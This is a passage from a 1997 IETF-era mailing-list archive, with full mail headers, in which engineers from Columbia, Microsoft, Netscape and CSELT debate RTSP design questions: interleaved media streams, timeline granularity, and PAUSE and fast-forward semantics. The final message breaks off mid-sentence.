I am quite new to this list, and have a different background. However I am
very interested in some threads of your discussions, and would like to give
my contributions too.
Well, in this case [In Defense of Interleaved Data Formats] my comment is:
both an application layer multiplex (that is the Interleaver), and a network
layer multiplex have pros and cons. Some of you have proposed arguments in
favour or against one or the other, but what I think is that the combination
of both is the best solution!

What I and others are designing in MPEG4 is a model comprising two multiplex
layers: the FlexMux is actually an interleaver; the TransMux is the
multiplex mechanism provided by the network (e.g. IP sockets, or ATM VCs, or
MPEG2 PIDs ...). This model gives the maximum of flexibility to the
multimedia content author, while complying with all the requirements that
some of you brought up in the e-mails.
For example, if the application requires an equal treatment (Quality of
Service) for all stream components, than a single FlexMux would be used and
carried over a single, say, IP socket. If instead audio and video need
different treatment, two FlexMuxes would be used on 2 separate, say, IP
sockets. We assume to have a method to inform the network about the QoS
required for the individual FlexMux Streams.

Hope this helps
__________________________________________________________________________

Guido Franceschini

Multimedia Applications

CSELT                         Tel.:  + 39 11 2286137
Via G.  Reiss Romoli, 274     Fax :  + 39 11 2286190
10148 Torino - Italy          E-mail :  guido.franceschini@cselt.stet.it
__________________________________________________________________________


From majordom@ISI.EDU  Thu Mar  6 03:05:23 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03292>; Thu, 6 Mar 1997 05:05:29 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03286>; Thu, 6 Mar 1997 05:05:27 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA12397>; Thu, 6 Mar 1997 05:05:25 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id IAA14114; Thu, 6 Mar 1997 08:05:24 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id IAA09997; Thu, 6 Mar 1997 08:05:23 -0500 (EST)
Message-Id: <331EC113.4E09@cs.columbia.edu>
Date: Thu, 06 Mar 1997 08:05:23 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: rem-conf@es.net
Cc: confctrl@isi.edu
Subject: Re: In Defense of Interleaved Data Formats
References: <1148.857639624@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

It should be pointed out that we had this same discussion many moons
ago, on the rem-conf list, at least once. Note that there is one
interleaved MPEG format (Civanlar) already.
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Wed Mar  5 23:53:27 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06694>; Thu, 6 Mar 1997 07:53:34 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06688>; Thu, 6 Mar 1997 07:53:32 -0800
Received: from INET-01-IMC.microsoft.com (mail1.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA19093>; Thu, 6 Mar 1997 07:53:31 -0800
Received: by mail1.microsoft.com with Internet Mail Service (5.0.1457.3)
	id <GMT8ZGSG>; Thu, 6 Mar 1997 07:53:31 -0800
Message-Id: <503A2A3C2932CF118D8800805FD44E1802BBD7A3@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Henning Schulzrinne' <schulzrinne@cs.columbia.edu>
Cc: confctrl@isi.edu
Subject: Interleaved Data Formats in RTSP
Date: Thu, 6 Mar 1997 07:53:27 -0800
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1457.3)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

My purpose in re-opening this discussion stems from two motives:
*	While there are indeed many similarities between the
conferencing applications this community has historically advanced and
streaming multimedia, there are also many differences as well. Many of
these differences are seen by the factors which have made interleaved
data become a preferential alternative for many streaming applications.
Therefore, it is difficult to conceive of satisfactorily addressing the
streaming milieu without including interleaved data as a significant
possibility within the domain's solution set.
*	My reading of the most recent RTSP spec has left me doubtful as
to whether the spec will permit the traditional and dominant approach to
streaming media (interleaved data) to continue to be used. I would like
to dedicate the remainder of this message to explaining my concern.

A previous message from Intel pointed out some of the confusing use of
terms to reference certain multimedia networking issues. I certainly
share his confusion and somehow have failed to notice what the solution
to his query turned out to be. 

Anyway, I fear that my reading of the RTSP spec is tainted by such a
confusion in my own mind. For example, the definition of "(media)
stream" in section 1.3 seems to be stating that a media stream is a
single segregated media type.  Then in Section 1.6 the text states "each
media stream is identified by an RTSP URL" and then goes on to give an
example where a session consists of several media streams each coming
from a different server. I have no qualms about this possibility. 

What does bother me is that 
(1) if segregated streams all come from the same server then it is
desirable that the segregated streams be able to be referenced as a unit
by a single RTSP URL; and
(2) in the interleaved data situation the interleaved data itself should
be referenced by a single RTSP URL since it is a "unit" just like a
segregated media stream could also be a "unit" of reference. No such
provision exists for this in the text. Thus, according to this usage,
the term "(media) stream" should also be able to refer to the entire
interleaved data stream as opposed to the individual media elements
within that stream. In such usage, the fact that the stream is made up
of multiple media is "opaque" - the stream functions as a unit and
should be treated as such by RTSP. 

Similarly, while it is possible to join together media streams of
segregated media data into a "session" (or whatever it is we decided to
call such a grouping), so I would imagine that it is theoretically
possible to join together an interleaved media stream with another media
stream to form a combined grouping. Thus, in my mind at least, an
interleaved media stream could theoretically function exactly like a
segregated media stream for the purposes of this spec - though in
practice I am only aware of interleaved media streams incorporating
other media types within themselves (e.g., including an MPEG interleaved
data stream within a larger interleaved stream containing other media
types such as streaming text and URL flipping) as opposed to having them
be "joined" at the recipient.

Other possible definitions could, of course, be made. My concern here
isn't to suggest the actual terminology but rather to urge that the RTSP
spec be amended to include the possibility of interleaved data. Since
interleaved data is the dominant approach for streaming data today, it
would be very desirable to not exclude this possibility from the RTSP
spec.


	-----Original Message-----
	From:	Henning Schulzrinne [SMTP:schulzrinne@cs.columbia.edu]
	Sent:	Thursday, March 06, 1997 5:05 AM
	To:	rem-conf@es.net
	Cc:	confctrl@isi.edu
	Subject:	Re: In Defense of Interleaved Data Formats

	It should be pointed out that we had this same discussion many
moons
	ago, on the rem-conf list, at least once. Note that there is one
	interleaved MPEG format (Civanlar) already.
	-- 
	Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
	Dept. of Computer Science   phone: +1 212 939-7042
	Columbia University         fax:   +1 212 666-0140
	New York, NY 10027          URL:
http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Thu Mar  6 06:00:41 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06891>; Thu, 6 Mar 1997 08:00:50 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06885>; Thu, 6 Mar 1997 08:00:49 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA19376>; Thu, 6 Mar 1997 08:00:48 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id LAA18987; Thu, 6 Mar 1997 11:00:47 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id LAA10202; Thu, 6 Mar 1997 11:00:41 -0500 (EST)
Message-Id: <331EEA29.78E1@cs.columbia.edu>
Date: Thu, 06 Mar 1997 11:00:41 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: confctrl@isi.edu
Subject: Re: Interleaved Data Formats in RTSP
References: <503A2A3C2932CF118D8800805FD44E1802BBD7A3@RED-68-MSG.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Don't ascribe to technical deficiencies what can easily be explained by
lack of clarity in documentation :-). Having a single rtsp:// URL for
the whole presentation (all streams, however interleaved or not) is
provided for in RTSP. Yes, we need to get the terminology straight, but
I'm waiting for input on that from the group (see my previous mails).
Note that the mapping of content to rtsp URLs is completely under the
control of the session description. The session description can
determine that tracks are not separately controllable, for example,
regardless of whether they are delivered from a single server, to a
single UDP port and as a single RTP PT or not.

From majordom@ISI.EDU  Thu Mar  6 00:36:33 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08768>; Thu, 6 Mar 1997 08:43:34 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08754>; Thu, 6 Mar 1997 08:43:30 -0800
Received: from INET-05-IMC.microsoft.com (mail5.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA21804>; Thu, 6 Mar 1997 08:43:30 -0800
Received: by INET-05-IMC with Internet Mail Service (5.0.1457.3)
	id <GLPW10HJ>; Thu, 6 Mar 1997 08:38:58 -0800
Message-Id: <503A2A3C2932CF118D8800805FD44E1802BBD7A6@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Jon Crowcroft' <J.Crowcroft@cs.ucl.ac.uk>,
        Ross Finlayson
	 <finlayson@lvn.com>
Cc: "'confctrl@isi.edu'" <confctrl@isi.edu>,
        "'rem-conf@es.net'"
	 <rem-conf@es.net>
Subject: RE: In Defense of Interleaved Data Formats
Date: Thu, 6 Mar 1997 08:36:33 -0800
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1457.3)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Your point
		>It is a REQUIREMENT of this type of presentation that
all media suffer
		>network effects exactly in proportion to the way they
are interleaved....
is right on the mark. 

However, your follow-on comment isn't. Because "on demand" content isn't
constructed in "real time", we have been able to give attention to
implementing error mitigation (error discovery, error hiding, error
correction) approaches within our data streams. We could certainly
benefit from your considerable expertise in improving our current
implementation of forward error correction. Might you be interested in
pursuing this issue "off line" with us?

From majordom@ISI.EDU  Thu Mar  6 01:46:50 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13619>; Thu, 6 Mar 1997 09:53:32 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13613>; Thu, 6 Mar 1997 09:53:31 -0800
Received: from INET-04-IMC.microsoft.com (mail4.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA26005>; Thu, 6 Mar 1997 09:53:30 -0800
Received: by INET-04-IMC.microsoft.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63)
	id <01BC2A14.80AA7AE0@INET-04-IMC.microsoft.com>; Thu, 6 Mar 1997 09:55:20 -0800
Message-Id: <c=US%a=_%p=msft%l=RED-68-MSG-970306174650Z-956@INET-04-IMC.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Henning Schulzrinne' <schulzrinne@cs.columbia.edu>,
        "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: RE: RTSP: relative time
Date: Thu, 6 Mar 1997 09:46:50 -0800
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63
Encoding: 41 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The answer to your question is dependent upon your underlying model of 
streaming. Our product's model is entirely built upon the concept of a 
single "timeline". All media is orchestrated according to that timeline. 
This orchestration is manifested by the timestamps and (optional) 
interleaving strategies.

Thus, from our approach the answer would be "no": relative time is not 
desirable, all time references should be in terms of the underlying session 
timeline. I would also think that the specification of relative time would 
be tricky since what you are really wanting is an offset from a given 
event. Such an offset is most unambiguously expressed in terms of the 
timeline itself.

As I previously stated, we have deep problems with a timeline with a 
granularity as coarse as one second. While our 100ns timeline is probably 
overkill, the timeline really must be finer than human senses can discern 
if the multimedia events are to be orchestrated appropriately to achieve 
the desired effects. Thus, I would like to request that we please adopt a 
system with a microsecond or millisecond time granularity. From an 
engineering perspective, a too-granular timeline is not of great concern, 
an inadequately granular timeline is of tremendous concern. When in doubt, 
aim for a greater degree of granularity in the timeline definitions. This 
will permit systems lacking that granularity to "fudge" but will support 
the accuracy needed by systems requiring those granularities.

-----Original Message-----
From:	Henning Schulzrinne [SMTP:schulzrinne@cs.columbia.edu]
Sent:	Wednesday, March 05, 1997 4:33 PM
To:	confctrl@isi.edu
Subject:	RTSP: relative time

Is there a need for a relative timing measurement other than SMPTE? In
particular, is there a need for time expressed simply as some whole
number of seconds (doesn't really matter if hh:mm:ss or a second count)
and a fractional second of whatever precision?
--
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs


From majordom@ISI.EDU  Thu Mar  6 02:04:24 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14343>; Thu, 6 Mar 1997 10:03:42 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14337>; Thu, 6 Mar 1997 10:03:40 -0800
Received: from r2d2.mcom.com (h-205-217-237-47.netscape.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA26658>; Thu, 6 Mar 1997 10:03:38 -0800
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54]) by r2d2.mcom.com (8.7.5/8.7.3) with ESMTP id KAA09798 for <confctrl@ISI.EDU>; Thu, 6 Mar 1997 10:03:37 -0800 (PST)
Received: from stargazer ([207.1.142.55]) by dredd.mcom.com
          (Netscape Mail Server v2.02) with SMTP id AAA22982;
          Thu, 6 Mar 1997 10:03:36 -0800
Message-Id: <331F0728.63E7@netscape.com>
Date: Thu, 06 Mar 1997 10:04:24 -0800
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0GoldC (X11; U; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: "'Sampo Syreeni'" <decoy@edu.lahti.fi>,
        "'Jeff Smith'" <sumisu@nttlabs.com>,
        "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: Pause, Fast-Forward, Fast-rewind in RTSP
References: <c=US%a=_%p=msft%l=RED-68-MSG-970306015142Z-31222@INET-04-IMC.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Eric Fleischman wrote:
> 
> I'm sorry, guys, but I can't grok this conversation you are having about
> "Pause". My trouble isn't that you have been unclear in your arguments but
> rather that we seem to have fundamentally different presuppositions as to
> how things will work "under the covers". I therefore would be honored if
> you would try to see things from my point-of-view in the hopes that perhaps
> you would then be able to "span the gap" between us.
> 

No problem. Thanks for initiating this great discussion.

> Firstly, maintaining "Pause state" in the server is not a scalable
> solution. What we rather have done in our streaming media products is to
> treat "pause" as follows:
> 7       The user thinks (s)he is pausing, but what (s)he really is doing is a
> "stop".
> 7       The client remembers the point at which the "stop" took place -- this
> state is solely kept in the client.
> 7       When the user hits play (start), the user thinks that (s)he is resuming,
> but what (s)he is really doing is starting with an offset set to where the
> client had previously stopped. Therefore, the server starts playing from
> that offset.
> 
> This is all very clean and has permitted our streaming servers to scale to
> a thousand (or more) simultaneous sessions. This would not have been
> possible had we been using the algorithm this discussion seems to be
> assuming.
> 

I do not understand how the PAUSE message has an effect on scalability.
Indeed, it is not necessary from a user point-of-view. There seem to be
two issues here:-
a) maintenance of current position at the server
b) maintenance of "SETUP" information ie. transport ports etc.
Note that we do not have the notion of "STOP", rather a "CLOSE" which
results in release of resources.
Are you arguing against a) or b) or both ?  I consider a) a matter of
convenience but not of critical importance. Also, as you have pointed
out, this can be maintained at the client. But b) is important to avoid
periodic setup and tear down of ports both for endpoints and
intermediaries(such as firewalls).

 
> Related user controls which seems to have been overlooked by the RTSP draft
> are "fast forward" and "fast rewind". These are very important controls
> which are quite popular with users. Unfortunately, they are only possible
> for certain media types such as video. The way these commands work is very
> similar to the "pause", so I mention it here for completeness' sake.
> 
> The "play" (or start) command actually has two parameters. It has the
> offset previously mentioned in regards to "pause" above and it also
> contains a "rate" parameter. This rate parameter does *not* refer to the
> data rate - the data rate is fixed for that session. Rather, "rate" refers
> to the timeline upon which the streaming "media experience" is built. The
> timeline rate may be arbitrarily sped up (I believe that our product
> currently supports up to a 10x speed-up, though there is no technical
> reason why it couldn't be slower or faster). For fast-forward and
> fast-rewind, the server therefore has to compute at what offset to "skip
> to" to match that accelerated timeline. It is aided in this task by the
> indexing present in certain media types - no indexing, then no fast-forward
> or fast-rewind capability. What this generally means is that only the
> key-frames are sent during fast-forward and fast-reverse. And not every
> key-frame will necessarily be set depending on the timeline acceleration
> speed selected for the timeline advancement.

There are two ways that the concepts of FF and FRewind may be thought of
: 

a) Simply deliver the data as-is, but faster than its natural  rate
based on the speed parameter. As Henning mentioned, this is specified.
Admittedly, this is useful only if bandwidth permits and should be used
with care, but it should not be entirely ruled out.

b) A media specific way. As you pointed out, these operations make sense
and may have different significance based on the media itself. This may
be achieved by using a SET_PARAMETER specific to the media type. For
example, the "fast forward" achieved by sending only key-frames is
really a subsampling of the sent data in the time domain, and not a
change in the sending rate or the natural data rate of the data. Also,
note that state is not affected.

Regards,

-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

From majordom@ISI.EDU  Thu Mar  6 02:02:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14988>; Thu, 6 Mar 1997 10:16:17 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14982>; Thu, 6 Mar 1997 10:16:15 -0800
Received: from INET-04-IMC.microsoft.com (mail4.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA27507>; Thu, 6 Mar 1997 10:16:13 -0800
Received: by INET-04-IMC.microsoft.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63)
	id <01BC2A16.1391F170@INET-04-IMC.microsoft.com>; Thu, 6 Mar 1997 10:06:36 -0800
Message-Id: <c=US%a=_%p=msft%l=RED-68-MSG-970306180244Z-1082@INET-04-IMC.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: another note about time granularity
Date: Thu, 6 Mar 1997 10:02:44 -0800
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63
Encoding: 23 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

As you know, indexes permit the rapid seeking to a given point within a 
video stream. These points must be accurately "seeked to" and rarely occur 
within second boundaries. This is doubtlessly why RTSP has proposed a 
timestamp with a sub-second "frame" reference.

In our product, many authors have repeatedly bludgeoned us to provide a 
similar capability for non-video data. This has compelled us to invent and 
support the concept we call a "marker". A marker functions as a video index 
and is available for every media type. Many authors seem to use markers to 
put "paragraphs" or "chapters" within their creation. Markers permit the 
user to "jump" to that paragraph or chapter. Markers require sub-second 
granularities for the same reasons frames do. Unfortunately, unlike frames, 
markers are not subject to isochronous-based predictabilities thus they 
have a need for much finer time granularities than do indexes.

While synchronization is independent from markers, markers are often placed 
where content is explicitly synchronized. As you can well imagine, 
synchronization demands a fairly fine grained clock if those references are 
to become "public" via markers.

These are reasons why a need exists for the RTSP clock to have a very fine 
time granularity in the microsecond or millisecond range.


From majordom@ISI.EDU  Thu Mar  6 02:54:40 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18181>; Thu, 6 Mar 1997 10:57:39 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18174>; Thu, 6 Mar 1997 10:57:35 -0800
Received: from INET-03-IMC.itg.microsoft.com (mail3.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA29928>; Thu, 6 Mar 1997 10:57:34 -0800
Received: by INET-03-IMC.itg.microsoft.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63)
	id <01BC2A1C.CE8B7C70@INET-03-IMC.itg.microsoft.com>; Thu, 6 Mar 1997 10:54:47 -0800
Message-Id: <c=US%a=_%p=msft%l=RED-68-MSG-970306185440Z-1448@INET-03-IMC.itg.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Anup Rao' <anup@netscape.com>
Cc: 'Sampo Syreeni' <decoy@edu.lahti.fi>, 'Jeff Smith'
	 <sumisu@nttlabs.com>,
        'Henning Schulzrinne'
	 <schulzrinne@cs.columbia.edu>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: RE: Pause, Fast-Forward, Fast-rewind in RTSP
Date: Thu, 6 Mar 1997 10:54:40 -0800
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63
Encoding: 70 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Anup Rao wrote:
>I do not understand how the PAUSE message has an effect on scalability.
>Indeed, it is not necessary from a user point-of-view. There seem to be
>two issues here:-
>a) maintenance of current position at the server
>b) maintenance of "SETUP" information ie. transport ports etc.
>Note that we do not have the notion of "STOP", rather a "CLOSE" which
>results in release of resources.
>Are you arguing against a) or b) or both ?

I am not actually intending to argue against either a or b since I view 
both as being necessary.

Rather, I am working from a different algorithm altogether, as I explained 
in my original posting. My algorithm is to explicitly minimize the work a 
server has to perform so that the server can better perform its task of 
actually streaming data. The more complexity we put into the server, the 
move overhead the server must give to manage that complexity and the less 
time it has for its primary task of streaming data (unless, of course, you 
have a multiprocessing system with an "extra" CPU to offload such overhead 
to).

This means that the server needs to be more focussed (dumber, if you 
prefer). The client maintains the state, the server responds to the 
client's commands. The commands thus need parameters to "clue in" the 
server as to what the client exactly intends since it is the human end user 
(i.e., the client) which controls what happens within the constraints 
originally designed into the experience by the content creator.

I am sorry that I introduced a new term (i.e., STOP) into the discussion. 
This was a mistake on my part. Please overlook this failing.

>There are two ways that the concepts of FF and FRewind may be thought of
:

>a) Simply deliver the data as-is, but faster than its natural  rate
>based on the speed parameter. As Henning mentioned, this is specified.
>Admittedly, this is useful only if bandwidth permits and should be used
>with care, but it should not be entirely ruled out.

I have real problems with this alternative. I believe that streaming data 
must maintain a constant data rate. That rate must not fluctuate up and 
down. Take, for example, the possibility of the data being streamed into a 
H.323 conference which happens to also be "broadcasted" over the MBONE 
through the use of H.LooselyCoupled. SDR will tell the address and port of 
the MBONE broadcast and should indicate the bandwidth needed to support it. 
Network Managers would have "reserved" (so to speak) that bandwidth to 
permit individuals within their corporation to receive the session, perhaps 
by filtering out other less desirable bandwidth-consuming alternatives so 
that other work can also proceed. However, should the data rate of the 
streamed content fluctuate all over the map, the net result will be a total 
breakdown of the system. As a former corporate data communications 
architect, I can well imagine what the future policy for those types of 
sessions will be within that (receiving) corporation.

What I am saying is that if this streamed content is to "play well with 
others" and be genuinely useful in integrating with conferencing apps, and 
if it should not give network managers major heart attacks, then it must 
conform to a maximum bit rate above which it never goes. Your (a) 
alternative then has substantial needless complexity since you compute what 
"fast" means for each given session instance for channels which are 
session-specific. A much simpler algorithm is to do as we suggest and to 
maintain a constant data rate, accelerating only the timeline when "fast" 
is occurring.

Regards,

--Eric


From majordom@ISI.EDU  Thu Mar  6 04:09:52 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22715>; Thu, 6 Mar 1997 12:09:17 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22709>; Thu, 6 Mar 1997 12:09:14 -0800
Received: from r2d2.mcom.com (h-205-217-237-47.netscape.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA04065>; Thu, 6 Mar 1997 12:09:13 -0800
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54]) by r2d2.mcom.com (8.7.5/8.7.3) with ESMTP id MAA14409 for <confctrl@ISI.EDU>; Thu, 6 Mar 1997 12:09:12 -0800 (PST)
Received: from stargazer ([207.1.142.55]) by dredd.mcom.com
          (Netscape Mail Server v2.02) with SMTP id AAA2945;
          Thu, 6 Mar 1997 12:09:06 -0800
Message-Id: <331F2490.66EC@netscape.com>
Date: Thu, 06 Mar 1997 12:09:52 -0800
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0GoldC (X11; U; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: "'Sampo Syreeni'" <decoy@edu.lahti.fi>,
        "'Jeff Smith'" <sumisu@nttlabs.com>,
        "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: Pause, Fast-Forward, Fast-rewind in RTSP
References: <c=US%a=_%p=msft%l=RED-68-MSG-970306185440Z-1448@INET-03-IMC.itg.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Eric Fleischman wrote:
> 
> Anup Rao wrote:
> >I do not understand how the PAUSE message has an effect on scalability.
> >Indeed, it is not necessary from a user point-of-view. There seem to be
> >two issues here:-
> >a) maintenance of current position at the server
> >b) maintenance of "SETUP" information ie. transport ports etc.
> >Note that we do not have the notion of "STOP", rather a "CLOSE" which
> >results in release of resources.
> >Are you arguing against a) or b) or both ?
> 
> I am not actually intending to argue against either a or b since I view
> both as being necessary.
> 

Option1 : No PAUSE message.
In this case the setup information would have be included in the
PLAY.(because, if you "CLOSE", you have to setup the information  again
i.e send SETUP.) For each PLAY, the server would need to check if the
transport was set earlier or changed. Also, (as agreed above), we have
chosen that it(the server) maintains current position. This gives us
binary state ie. either sending or not sending. Also, lets assume the
PLAY message always contains the Range. Proxies/firewalls need to read
both PLAY and SETUP messages.

Option2 : There are 3 states: ready, sending, not sending. There is a
PAUSE message. On receipt of a SETUP message, the server follows orders
and does not check if transport is set earlier or not. On a PLAY
message, it is honored only if transport is set(ie. in state ready).
Proxies/firewalls need to read the SETUP message. 

I am a great supporter of the dumb server:-) idea. Forgive my
persistence, but I do not understand how Option1 would result in a
dumber server than Option2. Note that I am not arguing too strongly in
favor of either, but I think Option2 is cleaner and has a precise
indication of allocation and release of  resources. It seems to me that
the alternative have roughly the same complexit, whether we create a
state or not. (On thing that needs clarification though ie. at minimum
transport should be set before sending PLAY).

> Rather, I am working from a different algorithm altogether, as I explained
> in my original posting. My algorithm is to explicitly minimize the work a
> server has to perform so that the server can better perform its task of
> actually streaming data. The more complexity we put into the server, the
> move overhead the server must give to manage that complexity and the less
> time it has for its primary task of streaming data (unless, of course, you
> have a multiprocessing system with an "extra" CPU to offload such overhead
> to).
> 
> This means that the server needs to be more focussed (dumber, if you
> prefer). The client maintains the state, the server responds to the
> client's commands. The commands thus need parameters to "clue in" the
> server as to what the client exactly intends since it is the human end user
> (i.e., the client) which controls what happens within the constraints
> originally designed into the experience by the content creator.
> 


> 
> >There are two ways that the concepts of FF and FRewind may be thought of
> :
> 
> >a) Simply deliver the data as-is, but faster than its natural  rate
> >based on the speed parameter. As Henning mentioned, this is specified.
> >Admittedly, this is useful only if bandwidth permits and should be used
> >with care, but it should not be entirely ruled out.
> 
> I have real problems with this alternative. I believe that streaming data
> must maintain a constant data rate. That rate must not fluctuate up and
> down. Take, for example, the possibility of the data being streamed into a
> H.323 conference which happens to also be "broadcasted" over the MBONE
> through the use of H.LooselyCoupled. SDR will tell the address and port of
> the MBONE broadcast and should indicate the bandwidth needed to support it.
> Network Managers would have "reserved" (so to speak) that bandwidth to
> permit individuals within their corporation to receive the session, perhaps
> by filtering out other less desirable bandwidth-consuming alternatives so
> that other work can also proceed. However, should the data rate of the
> streamed content fluctuate all over the map, the net result will be a total
> breakdown of the system. As a former corporate data communications
> architect, I can well imagine what the future policy for those types of
> sessions will be within that (receiving) corporation.
> 
As I said earlier, it should be used carefully when appropriate. One may
configure to not choose other high-bandwidth alternatives, and similarly
also not allow this alternative. I am not saying that we should have
this ability so that everyone can wreak havoc. Also, it is a resource
issue - the server may not be able to do it - and it should just refuse.
All I am saying is that it is useful in *some* cases eg. remote
editing/previewing of streams where the video-type fastforward based on
subsampling is not possible. For example a presentation consisting of
only images and text ticker, changing at 2 second intervals(hence
time-related), that the editor wants to remotely preview at twice the
rate. Clearly sending every other image is pointless here. 

> Your (a)
> alternative then has substantial needless complexity since you compute what
> "fast" means for each given session instance for channels which are
> session-specific. A much simpler algorithm is to do as we suggest and to
> maintain a constant data rate, accelerating only the timeline when "fast"
> is occurring.

I'm afraid I dont understand this fully. (due to our terminology again,
I think). What the channel or URL means with respect to different
streams/substreams is upto the session description. Yes, if the session
description describes 2 streams, you have to calculate what fast means
for both of them. However, as I've said above, in general the
alternative a)  is not the way to do things in a lot of the cases,
particulary video. For simplicity in these cases, a server may just
refuse.


On a similar note :- What may be  of some concern(I just thought), there
is no indication in the protocol messages of the bandwidth that the
stream will occupy(other than the Accpet header that is not
authoritative. )Rather, this is in the session description. This may
complicate implementation of an intermediary - it will necessarily have
to know the session description. (For eg., a packet filter may want to
